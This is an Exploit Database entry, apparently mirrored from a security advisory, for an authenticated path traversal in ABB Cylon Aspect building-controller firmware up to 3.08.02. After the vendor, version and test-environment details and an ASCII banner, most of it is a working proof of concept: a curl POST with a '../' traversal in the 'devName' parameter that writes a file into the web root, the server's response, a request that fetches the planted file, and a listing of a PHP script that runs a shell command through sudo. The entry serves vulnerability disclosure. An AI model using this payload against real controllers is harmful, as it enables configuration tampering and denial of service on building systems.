ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal

Exploit Database
11 阅读

作者： LiquidWorm

日期： 2025-04-17
类别：
- hardware
平台：
- php
来源：https://www.exploit-db.com/exploits/52252/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

# Exploit Title: ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) - Authenticated Path Traversal

# Vendor: ABB Ltd.

# Product web page: https://www.global.abb

# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio

Firmware: <=3.08.02

Summary: ASPECT is an award-winning scalable building energy management

and control solution designed to allow users seamless access to their

building data through standard building protocols including smart devices.

Desc: The ABB Cylon controller suffers from an authenticated path traversal

vulnerability. This can be exploited through the 'devName' POST parameter in

the ethernetUpdate.php script to write partially controlled content, such as

IP address values, into arbitrary file paths, potentially leading to configuration

tampering and system compromise including denial of service scenario through

ethernet configuration backup file overwrite.

Tested on: GNU/Linux 3.15.10 (armv7l)

GNU/Linux 3.10.0 (x86_64)

GNU/Linux 2.6.32 (x86_64)

Intel(R) Atom(TM) Processor E3930 @ 1.30GHz

Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz

PHP/7.3.11

PHP/5.6.30

PHP/5.4.16

PHP/4.4.8

PHP/5.3.3

AspectFT Automation Application Server

lighttpd/1.4.32

lighttpd/1.4.18

Apache/2.2.15 (CentOS)

OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)

OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

ErgoTech MIX Deployment Server 2.0.0

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2024-5890

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5890.php

21.04.2024

$ cat project

P R O J E C T

| |

|'|._____

___|||. |' .---"|

_.-' '-. || .--'||| | _||

.-'|_.|||| '-__| |||||

|' | |.||| | | |||||

____|'-' '"" '-' '-.''`|____

░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░

░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░

░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░

$ curl http://192.168.73.31/ethernetUpdate.php \

> -d "listFile=%2Fusr%2Flocal%2Faam%2Fetc%2Feth0\

> &devName=../../../../../../../home/MIX_CMIX/htmlroot/testingus\

> &useDHCP=1\

> &dhcp=YES\

> &IP1=192&IP2=168&IP3=73&IP4=31\

> &SM1=255&SM2=255&SM3=255&SM4=0\

> &N1=192&N2=168&N3=1&N4=0\

> &B1=192&B2=168&B3=1&B4=255\

> &GW1=192&GW2=168&GW3=1&GW4=254\

> &DNSA1=&DNSA2=&DNSA3=&DNSA4=\

> &DNSB1=&DNSB2=&DNSB3=&DNSB4=\

> &submitTime=Submit" \

> -H "Cookie: PHPSESSID=xxx"

<html>

<head>

<title>Web Server Configuration</title>

</head>

<h1>Ethernet Settings</h1>

Ethernet settings have been successfully updated.<br>Please supply MAC address below to your Network Administrator in order to determine new IP Address.<br><b>MAC Address:</b></p>

</form>

<hr>

</body>

</html>

$ curl http://192.168.73.31/testingus.bak

ONBOOT=yes

DHCP=YES

IPADDR=192.168.73.31

NETMASK=255.255.255.0

GATEWAY=192.168.1.254

NETWORK=192.168.1.0

BROADCAST=192.168.1.255

DNS1=

DNS2=

$ cat -n /home/MIX_CMIX/htmlroot/ethernetUpdateRun.php

1<?php

2//---------Begin Authorization-------------

3require_once 'validate/validateHeader.php';

4//--------End Authorization----------------

5include "lib/configParameter.php";

6$lookupLog = "config/configfile";

7$listFile = trim(obtainValue($lookupLog, "SHELL"));

8$command = $listFile . "net.sh";

9$sudo = trim(obtainValue($lookupLog, "SUDO"));

10logWarning("Ethernet Settings modified");

11exec($sudo . " " . $listFile . "net.sh");

12exit();

14?>